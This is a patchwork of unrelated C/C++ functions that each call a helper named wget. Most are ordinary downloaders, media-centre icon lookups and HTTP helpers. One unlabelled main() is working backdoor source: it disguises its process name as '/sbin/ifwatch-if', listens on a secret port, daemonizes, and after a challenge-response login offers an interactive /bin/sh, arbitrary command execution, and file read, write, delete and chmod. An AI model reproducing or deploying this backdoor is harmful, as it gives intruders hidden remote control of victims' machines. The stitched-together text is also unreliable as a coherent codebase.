/** * Handle parameters and decide which function should be used * @param argc Number of parameters * @param argv Array of paramters * @return Status code **/ int main(int argc, char* argv[]) { CURL* curlHandle; int p, wgetCode; if(argc == 2) { p = parity(argv[1]); if(p == 0 || p ==1) { printf("%d\n", p); return EXIT_SUCCESS; } else { printError(p, argv[1]); return EXIT_FAILURE; } } else if(argc % 2 == 0) { printError(PARAMCOUNT, NULL); return EXIT_FAILURE; } else { curlHandle = curl_easy_init(); for(int i = 1; i < argc; i = i + 2) { wgetCode = wget(argv[i], argv[i+1], &curlHandle); if(wgetCode == 0) { p = parity(argv[i+1]); if(p == 1 || p == 0) { printf("%d", p); } else { return 2; } } else { return 3; } } printf("\n"); curl_easy_cleanup(curlHandle); } return EXIT_SUCCESS; }
void ExtractorBase::extract_url (string const &url, string const &type, Object *object) const { namespace fs = boost::filesystem; fs::path path = fs::unique_path(); int r = wget(url, path.native()); if (r != 0) { throw ExternalError(url); } extract_path(path.native(), type, object); fs::remove(path); }
int main(int args, char *argc[]) { if(args != 3) { printf("%s url file\n", argc[0]); return -1; } if(wget(argc[1], argc[2]) != 0) printf("An error occured!\n"); return 0; }
bool ImportIconsWizard::submit() { QString strParam1 = QUrl::toPercentEncoding(m_strParam); QUrl url(m_url+"/submit"); QString str = wget(url,"csv="+strParam1); if (str.isEmpty() || str.startsWith("#") || str.startsWith("Error", Qt::CaseInsensitive)) { LOG(VB_GENERAL, LOG_ERR, QString("Error from submit : %1").arg(str)); if (m_statusText) m_statusText->SetText(tr("Failed to submit icon choices.")); return false; } else { LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: Working submit : %1") .arg(str)); QStringList strSplit = str.split("\n", QString::SkipEmptyParts); unsigned atsc = 0, dvb = 0, callsign = 0, tv = 0, xmltvid = 0; for (QStringList::const_iterator it = strSplit.begin(); it != strSplit.end(); ++it) { if (*it == "#") continue; QStringList strSplit2=(*it).split(":", QString::SkipEmptyParts); if (strSplit2.size() < 2) continue; QString s = strSplit2[0].trimmed(); if (s == "a") atsc = strSplit2[1].toUInt(); else if (s == "c") callsign = strSplit2[1].toUInt(); else if (s == "d") dvb = strSplit2[1].toUInt(); else if (s == "t") tv = strSplit2[1].toUInt(); else if (s == "x") xmltvid = strSplit2[1].toUInt(); } LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: working submit : atsc=%1 callsign=%2 " "dvb=%3 tv=%4 xmltvid=%5") .arg(atsc).arg(callsign).arg(dvb).arg(tv).arg(xmltvid)); if (m_statusText) m_statusText->SetText(tr("Icon choices submitted successfully.")); return true; } }
void Server::loadObject (ObjectRequest const &request, Object *object) const { namespace fs = boost::filesystem; //fs::path path; bool is_url = false; if (request.url.size()) { if (request.content.size()) { throw RequestError("both url and content set"); } if (test_url(request.url)) { is_url = true; } } if (request.raw) { if (request.content.size()) { xtor.extract(request.content, request.type, object); } else if (is_url) { xtor.extract_url(request.url, request.type, object); } else { xtor.extract_path(request.url, request.type, object); } } else { if (request.content.size()) { std::istringstream is(request.content); object->read(is); } else { fs::path path; if (is_url) { // url path = fs::unique_path(); int r = wget(request.url, path.native()); if (r != 0) { throw ExternalError(request.url); } } else { path = fs::path(request.url); } ifstream is(path.native(), ios::binary); object->read(is); if (is_url) { fs::remove(path); } } } }
int main(int argc, char *argv[]) { char **hostandport; /* check argument */ if( argc < NUMARG ) { usage_get(); fprintf(stderr, "missing URL or filename\n"); return EXIT_FAILURE; } hostandport = gethostandport( argv[1] ); wget( hostandport[0] ,hostandport[1], hostandport[2], argv[2]); return 0; }
bool ImportIconsWizard::lookup(const QString& strParam) { QString strParam1 = QUrl::toPercentEncoding("callsign="+strParam); QUrl url(m_url+"/lookup"); QString str = wget(url,strParam1); if (str.isEmpty() || str.startsWith("Error", Qt::CaseInsensitive)) { LOG(VB_GENERAL, LOG_ERR, QString("Error from icon lookup : %1").arg(str)); return true; } else { LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: Working lookup : %1").arg(str)); return false; } }
/** * Scan a web site recursively. * Files are downloaded, evaluated and finally deleted. */ static int locate_http_documents( const char *pathname, ys_pfn_document_processor_t *pfunc, ys_mkdb_t *arg) { int argc = 0; char **argv; ys_wget_option_t *opt_ptr; ys_list_t *wget_opts; int rc; /* --quiet, --recursive, --delete-after, --accept=html,htm */ /* --wait=1 --directory-prefix=dir */ wget_opts = ys_mkdb_get_wgetargs(arg); for (argc = 0, opt_ptr = (ys_wget_option_t*) ys_list_first(wget_opts); opt_ptr != 0; opt_ptr = (ys_wget_option_t *)ys_list_next(wget_opts, opt_ptr)) { argc++; } argv = (char **)calloc(argc+3, sizeof(char *)); if (argv == 0) { fprintf(stderr, "Out of memory in locate_http_documents()\n"); exit(1); } argc = 0; argv[argc++] = "yasemakedb"; for (opt_ptr = (ys_wget_option_t*) ys_list_first(wget_opts); opt_ptr != 0; opt_ptr = (ys_wget_option_t *)ys_list_next(wget_opts, opt_ptr)) { argv[argc++] = opt_ptr->option; } argv[argc++] = (char *)pathname; argv[argc] = 0; rc = wget(argc, argv, (eval_func_t)pfunc, (void *)arg); free(argv); if (rc == 0) return 0; return -1; }
int wget_main(int argc, char *argv[]) #endif { struct in_addr addr; #if defined(CONFIG_EXAMPLES_WGET_NOMAC) uint8_t mac[IFHWADDRLEN]; #endif /* Many embedded network interfaces must have a software assigned MAC */ #ifdef CONFIG_EXAMPLES_WGET_NOMAC mac[0] = 0x00; mac[1] = 0xe0; mac[2] = 0xde; mac[3] = 0xad; mac[4] = 0xbe; mac[5] = 0xef; netlib_setmacaddr("eth0", mac); #endif /* Set up our host address */ addr.s_addr = HTONL(CONFIG_EXAMPLES_WGET_IPADDR); netlib_set_ipv4addr("eth0", &addr); /* Set up the default router address */ addr.s_addr = HTONL(CONFIG_EXAMPLES_WGET_DRIPADDR); netlib_set_dripv4addr("eth0", &addr); /* Setup the subnet mask */ addr.s_addr = HTONL(CONFIG_EXAMPLES_WGET_NETMASK); netlib_set_ipv4netmask("eth0", &addr); /* Then start the server */ wget(CONFIG_EXAMPLES_WGET_URL, g_iobuffer, 512, callback, NULL); return 0; }
bool ImportIconsWizard::findmissing(const QString& strParam) { QString strParam1 = QUrl::toPercentEncoding(strParam); QUrl url(m_url+"/findmissing"); QString str = wget(url,"csv="+strParam1); LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: findmissing : strParam1 = %1. str = %2") .arg(strParam1).arg(str)); if (str.isEmpty() || str.startsWith("#")) { return false; } else if (str.startsWith("Error", Qt::CaseInsensitive)) { LOG(VB_GENERAL, LOG_ERR, QString("Error from findmissing : %1").arg(str)); return false; } else { LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: Working findmissing : %1") .arg(str)); QStringList strSplit = str.split("\n", QString::SkipEmptyParts); for (QStringList::const_iterator it = strSplit.begin(); it != strSplit.end(); ++it) { if (*it != "#") { const QStringList ret = extract_csv(*it); LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: findmissing : %1 %2 %3 %4 %5") .arg(ret[0]).arg(ret[1]).arg(ret[2]) .arg(ret[3]).arg(ret[4])); checkAndDownload(ret[4], (*m_iter).strChanId); } } return true; } }
void ReadURL (const std::string &url, std::string *binary) { do { if (url.compare(0, 7, "http://") == 0) break; if (url.compare(0, 8, "https://") == 0) break; if (url.compare(0, 6, "ftp://") == 0) break; // do not support other protocols ReadFile(url, binary); return; } while (false); namespace fs = boost::filesystem; fs::path tmp = fs::unique_path(); int r = wget(url, tmp.native()); if (r) { LOG(error) << "Fail to download: " << url; fs::remove(tmp); throw ExternalError(url); } else { ReadFile(tmp.native(), binary); fs::remove(tmp); } }
int main(int argc, char *argv[]) { #if 0 { crypto_hash(buffer, buffer, 96); hd(buffer, 1088 / 8); } #endif if (argc == 2) { static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 }; eargv[2] = argv[1]; execve(argv[0], eargv, environ); } { int i; for (i = 0; i < 64 + 2; ++i) secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1); for (i = 0; i < (64 + 2) * 2; ++i) argv[2][i] = ' '; } int ls = socket(AF_INET, SOCK_STREAM, 0); if (ls < 0) return 0; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = *(uint16_t *) (secret + 32 + 64); sockopts(0); if (bind(ls, (struct sockaddr *)&sa, sizeof (sa))) return 0; if (listen(ls, 1)) return 0; write(1, MSG("ZohHoo5i")); if (fork()) return 0; sigaction(SIGHUP, &sa_sigign, 0); sigaction(SIGCHLD, &sa_sigign, 0); syscall(SCN(SYS_setsid)); for (;;) { { int i = open("/dev/urandom", O_RDONLY); if (i >= 0) { read(i, secret, 32); close(i); } ++secret[0]; for (i = 0; i < 31; ++i) secret[i + 1] += secret[i]; } int fd = accept(ls, 0, 0); if (fd >= 0) { if (fork() == 0) { close(ls); syscall(SCN(SYS_setsid)); sigaction(SIGCHLD, &sa_sigdfl, 0); setfds(fd); sockopts(0); write(0, secret, 32 + 32); crypto_hash(buffer, secret, 32 + 32 + 32); rpkt(32); if (memcmp(buffer, buffer + 32, 32)) x(); wpkt(MSG(VERSION "/" arch)); /* version/arch */ static const uint32_t endian = 0x11223344; wpkt((uint8_t *) & endian, sizeof (endian)); wpkt(buffer, 0); uint8_t clen; int fh = -1; int ret; while ((clen = rpkt(0))) switch (buffer[0]) { case 1: // telnet { static char *argv[] = { "sh", "-i", 0 }; execve("/bin/sh", argv, environ); } break; case 2: // open readonly case 3: // open wrcreat ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600); break; case 4: // close close(fh); break; case 5: // kill ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]); break; case 6: // chmod ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2)); break; case 7: // rename rpkt(260); ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260); break; case 8: // unlink ret = syscall(SCN(SYS_unlink), buffer + 1); break; case 9: // mkdir ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700); break; case 10: // wget ret = wget(fh); break; case 11: // lstat case 23: // stat { struct stat buf; int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf); ((uint32_t *) buffer)[0] = buf.st_dev; ((uint32_t *) buffer)[1] = buf.st_ino; ((uint32_t *) buffer)[2] = buf.st_mode; ((uint32_t *) buffer)[3] = buf.st_size; ((uint32_t *) buffer)[4] = buf.st_mtime; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5); } break; case 12: { struct statfs sfsbuf; int l = statfs(buffer + 1, &sfsbuf); ((uint32_t *) buffer)[0] = sfsbuf.f_type; ((uint32_t *) buffer)[1] = sfsbuf.f_bsize; ((uint32_t *) buffer)[2] = sfsbuf.f_blocks; ((uint32_t *) buffer)[3] = sfsbuf.f_bfree; ((uint32_t *) buffer)[4] = sfsbuf.f_bavail; ((uint32_t *) buffer)[5] = sfsbuf.f_files; ((uint32_t *) buffer)[6] = sfsbuf.f_ffree; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7); } break; case 13: // exec quiet case 14: // exec till marker { int quiet = buffer[0] == 13; pid_t pid = fork(); if (pid == 0) { if (quiet) setfds(open("/dev/null", O_RDWR)); static char *argv[] = { "sh", "-c", buffer + 1, 0 }; execve("/bin/sh", argv, environ); _exit(0); } if (pid > 0) syscall(SCN(SYS_waitpid), (int)pid, &ret, 0); if (!quiet) wpkt(secret, 32 + 32); // challenge + id } break; case 15: // readdir { int l; while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) { uint8_t *buf = buffer; do { int w = l > 254 ? 254 : l; wpkt(buf, w); buf += w; l -= w; } while (l); } wpkt(buffer, 0); } break; case 16: // lseek ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]); break; case 17: // fnv case 18: // readall { int fnv = buffer[0] == 17; uint32_t hval = 2166136261U; int l; while ((l = read(fh, buffer, 254)) > 0) { if (fnv) { uint8_t *p = buffer; while (l--) { hval ^= *p++; hval *= 16777619; } } else wpkt(buffer, l); } wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0); } break; case 19: // write ret = write(fh, buffer + 1, clen - 1); break; case 20: // readlink { int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255); wpkt(buffer + 260, l > 0 ? l : 0); } break; case 21: // readret wpkt((uint8_t *) & ret, sizeof (ret)); break; case 22: // chdir ret = syscall(SCN(SYS_chdir), buffer + 1); break; default: x(); } } // keep fd open for at least delay, also delay hack attempts static const struct timespec ts = { 1, 0 }; syscall(SCN(SYS_nanosleep), &ts, 0); close(fd); } } }
bool ImportIconsWizard::search(const QString& strParam) { QString strParam1 = QUrl::toPercentEncoding(strParam); bool retVal = false; enableControls(STATE_SEARCHING); QUrl url(m_url+"/search"); CSVEntry entry2 = (*m_missingIter); QString channelcsv = QString("%1,%2,%3,%4,%5,%6,%7,%8\n") .arg(escape_csv(entry2.strName)) .arg(escape_csv(entry2.strXmlTvId)) .arg(escape_csv(entry2.strCallsign)) .arg(escape_csv(entry2.strTransportId)) .arg(escape_csv(entry2.strAtscMajorChan)) .arg(escape_csv(entry2.strAtscMinorChan)) .arg(escape_csv(entry2.strNetworkId)) .arg(escape_csv(entry2.strServiceId)); QString message = QObject::tr("Searching for icons for channel %1") .arg(entry2.strName); OpenBusyPopup(message); QString str = wget(url,"s="+strParam1+"&csv="+channelcsv); m_listSearch.clear(); m_iconsList->Reset(); if (str.isEmpty() || str.startsWith("#") || str.startsWith("Error", Qt::CaseInsensitive)) { LOG(VB_GENERAL, LOG_ERR, QString("Error from search : %1").arg(str)); retVal = false; } else { LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: Working search : %1").arg(str)); QStringList strSplit = str.split("\n"); // HACK HACK HACK -- begin // This is needed since the user can't escape out of the progress dialog // and the result set may contain thousands of channels. if (strSplit.size() > 150) { LOG(VB_GENERAL, LOG_WARNING, QString("Warning: Result set contains %1 items, " "truncating to the first %2 results") .arg(strSplit.size()).arg(150)); while (strSplit.size() > 150) strSplit.removeLast(); } // HACK HACK HACK -- end QString prevIconName; int namei = 1; for (int x = 0; x < strSplit.size(); ++x) { QString row = strSplit[x]; if (row != "#" ) { QStringList ret = extract_csv(row); LOG(VB_CHANNEL, LOG_INFO, QString("Icon Import: search : %1 %2 %3") .arg(ret[0]).arg(ret[1]).arg(ret[2])); SearchEntry entry; entry.strID = ret[0]; entry.strName = ret[1]; entry.strLogo = ret[2]; m_listSearch.append(entry); MythUIButtonListItem *item; if (prevIconName == entry.strName) { QString newname = QString("%1 (%2)").arg(entry.strName) .arg(namei); item = new MythUIButtonListItem(m_iconsList, newname, qVariantFromValue(entry)); namei++; } else { item = new MythUIButtonListItem(m_iconsList, entry.strName, qVariantFromValue(entry)); namei=1; } QString iconname = entry.strName; item->SetImage(entry.strLogo, "icon", false); item->SetText(iconname, "iconname"); prevIconName = entry.strName; } } retVal = true; } enableControls(STATE_NORMAL, retVal); CloseBusyPopup(); return retVal; }
/* * translate and compare a filename * Note: Version number plus ';' may be omitted. */ int isofncmp(const u_char *fn, size_t fnlen, const u_char *isofn, size_t isolen, int joliet_level) { int i, j; u_int16_t fc, ic; const u_char *isoend = isofn + isolen; while (fnlen > 0) { fc = wget(&fn, &fnlen, joliet_level); if (isofn == isoend) return fc; isofn += isochar(isofn, isoend, joliet_level, &ic); if (ic == ';') { switch (fc) { default: return fc; case 0: return 0; case ';': break; } for (i = 0; fnlen-- != 0; i = i * 10 + *fn++ - '0') { if (*fn < '0' || *fn > '9') { return -1; } } for (j = 0; isofn != isoend; j = j * 10 + ic - '0') isofn += isochar(isofn, isoend, joliet_level, &ic); return i - j; } if (ic != fc) { if (ic >= 'A' && ic <= 'Z') { if (ic + ('a' - 'A') != fc) { if (fc >= 'a' && fc <= 'z') fc -= 'a' - 'A'; return (int) fc - (int) ic; } } else return (int) fc - (int) ic; } } if (isofn != isoend) { isofn += isochar(isofn, isoend, joliet_level, &ic); switch (ic) { default: return -1; case '.': if (isofn != isoend) { isochar(isofn, isoend, joliet_level, &ic); if (ic == ';') return 0; } return -1; case ';': return 0; } } return 0; }
char *send_http_request_post(int port, int *len, char *url, char *value) { int value_len = strlen(value); return wget("localhost", port, len, "POST %s HTTP/1.0\r\nHost: localhost\r\nContent-Type: text/html\r\nContent-Length: %d\r\n\r\n%s\r\n\r\n", url, value_len, value); }
char *send_http_request_get(int port, int *len, char *url) { return wget("localhost", port, len, "GET %s HTTP/1.0\r\n\r\n", url); }